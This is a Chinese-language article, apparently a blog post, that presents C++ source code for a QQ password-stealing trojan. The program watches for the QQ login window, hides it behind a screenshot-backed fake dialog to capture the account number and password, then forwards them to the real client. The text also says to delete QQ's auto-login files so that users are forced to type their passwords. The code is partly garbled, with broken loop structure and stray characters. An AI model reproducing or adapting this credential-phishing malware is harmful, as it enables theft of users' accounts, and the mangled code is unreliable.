C++编写的QQ⽊马源代码
近⽇⽆所事事,看到现在的QQ防盗技术越来越好,⼀般的钩⼦已经⽆法获取⽤户输⼊ 的密码了,我也试图⽤发送WM_GETTEXT消息以及GetWindowText来获取密码⽂本框的数据,发现是不可⾏的。左思右想,既然程序本⾝的防范很 严密。那么我们就从⽤户这边来下⼿吧。毕竟很多⽤户对电脑不是很了解的,各位看官可不能扔丑鸡蛋啊。
⽹吧⾥⼀般⽤户点击QQ快捷⽅式后就输⼊号码和密码,然后再登陆,这样我们就可以进⾏欺骗了。我们的程序运⾏在后台不停的检测当前激活的窗⼝是不是QQ登录的窗⼝,如果是的话就先取得QQ登录窗⼝中的号码、密码⽂本框和登陆按钮的窗⼝位置。这样是为了在我们伪造的窗⼝上创建这些窗⼝时不被察觉,获得这些信息后,我们先截取整个屏幕,然后把真正的QQ登录窗⼝隐藏起来,最后创建我们⾃⼰的窗⼝,设置为最前占满整个桌⾯,然后再背景上贴上刚才抓取的图⽚。最后在图⽚QQ登陆的地⽅创建好QQ号码和密码输⼊窗⼝,在检测到⽤户单击在QQ登陆按钮时获取⽤户输⼊的字符,把这些字符发送到真正的QQ窗⼝⾥,最后模拟单击QQ登陆按钮完成QQ的正常登陆。
然⽽家庭⽤户⼀般是选了⾃动登陆的⽅式,所以没有QQ登录的窗⼝,那我们就要动⼀些⼿脚了。了解QQ的地球⼈都知道,QQ⽂件夹下有这两个⽂件:AutoLogin.dat和LoginUinList.dat,它们的功能:这两个⽂件是QQ的号码登录数据⽂件,AutoLogin.dat 保存的是⾃动登录号码的数据⽂件,LoginUinList.dat
则保存的是QQ登录窗⼝中的“QQ号码”下拉框中显⽰的所有号码记录。所以我们要删除QQ登录数据,直接删除AutoLogin.dat和LoginUinList.dat两个⽂件就⾏了。主要代码分析如下:
//根据进程ID得到进程名称
BOOL processIdToName(LPTSTR lpszProcessName, DWORD PID)
{
HANDLE hSnapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
PROCESSENTRY32 pe;
pe.dwSize = sizeof(PROCESSENTRY32);
if (!Process32First(hSnapshot, &pe)) {
return FALSE;
}
while (Process32Next(hSnapshot, &pe)) {
if (pe.th32ProcessID == PID) {
strcpy(lpszProcessName, pe.szExeFile);
return true;
}
}
return FALSE;
}
//查QQ登录窗⼝
void QQFind()
{
HWND hWnd1 = NULL, qqID_hWnd = NULL, qqPass_hWnd = NULL;
HWND ButtonLogin = NULL, ButtonCancel = NULL;
char sTitle[255];
CString ss;
DWORD QQPID;
int LoginID;
BOOL find = FALSE;
do
{
//获得当前激活窗⼝的句柄
g_hWnd = GetForegroundWindow();
GetWindowThreadProcessId(g_hWnd, &QQPID);
/
/根据PID获得进程名
processIdToName(sTitle, QQPID);
ss = sTitle;
ss.MakeLower();
//判断是否QQ
if(ss != "qq.exe")
{
Sleep(100);
continue;
}
}
/
/获得标题⽂字,判断是否登陆对话框
SendMessage(g_hWnd,WM_GETTEXT,255,(LPARAM)sTitle);
ss = sTitle;
int n = ss.Find("QQ", 0);
int m = ss.Find("登录", 0);
if(n >= 0 || m >= 0)
{
//查QQ登陆按钮的句柄
ButtonLogin = FindWindowEx(g_hWnd, ButtonLogin, "Button", "登录");
LoginID = GetDlgCtrlID(ButtonLogin);
ButtonLogin = FindWindowEx(g_hWnd, ButtonLogin, "Button", "登录");
LoginID = GetDlgCtrlID(ButtonLogin);
//获得QQ登陆按钮窗⼝位置
GetWindowRect(ButtonLogin, &g_qqLogin);
//查QQ取消按钮的句柄
ButtonCancel = FindWindowEx(g_hWnd, NULL, "Button", "取消");
//获得QQ取消按钮窗⼝位置
GetWindowRect(ButtonCancel, &g_qqCancel);
//查QQ密码输⼊框的句柄
hWnd1 = FindWindowEx(g_hWnd, NULL, "#32770", NULL);
if(hWnd1 != NULL)
{
qqPass_hWnd = FindWindowEx(hWnd1, qqPass_hWnd, "Edit", NULL);
//获得QQ密码输⼊框窗⼝位置
GetWindowRect(qqPass_hWnd, &g_qqPassRt);
}
//查QQ号码输⼊框的句柄
hWnd1 = FindWindowEx(g_hWnd, NULL, "ComboBox", NULL);
if(hWnd1 != NULL)
{
qqID_hWnd = FindWindowEx(hWnd1, qqID_hWnd, "Edit", NULL);
//获得QQ号码输⼊框窗⼝位置
GetWindowRect(qqID_hWnd, &g_qqIDRt);
/
/获得当前默认QQ号码
SendMessage(qqID_hWnd,WM_GETTEXT, 255,(LPARAM)qqid);
}
//等待QQ窗⼝完全出现后抓取整个屏幕
Sleep(100);
g_DlgRt.left = 0;
p = 0;
g_DlgRt.right = m_xScreen;
g_DlgRt.bottom = m_yScreen;
g_pBitmap = CopyScreenToBitmap(&g_DlgRt);
//设置QQ窗⼝为不可见
ShowWindow(g_hWnd, SW_HIDE);
//弹出我们创建的伪造对话框
HINSTANCE hInstance = GetModuleHandle(NULL);
DialogBoxParam(hInstance, (LPCTSTR)IDD_WIN847, 0, (DLGPROC)win847, 0);
//设置QQ窗⼝为可见
ShowWindow(g_hWnd, SW_SHOW);
//把QQ号码和密码填到真正的QQ登录窗⼝上,并模拟单击登陆按钮SendMessage(qqID_hWnd, WM_SETTEXT, 0, (LPARAM)qqid); SendMessage(qqPass_hWnd, WM_SETTEXT, 0, (LPARAM)qqpass); SendMessage(ButtonLogin, BM_CLICK, 0, 0);
DeleteObject(g_pBitmap);
DeleteObject(g_pBitmap); //设置标志退出循环
find = true;
}
好qq号}
while(find == FALSE);
}
发布评论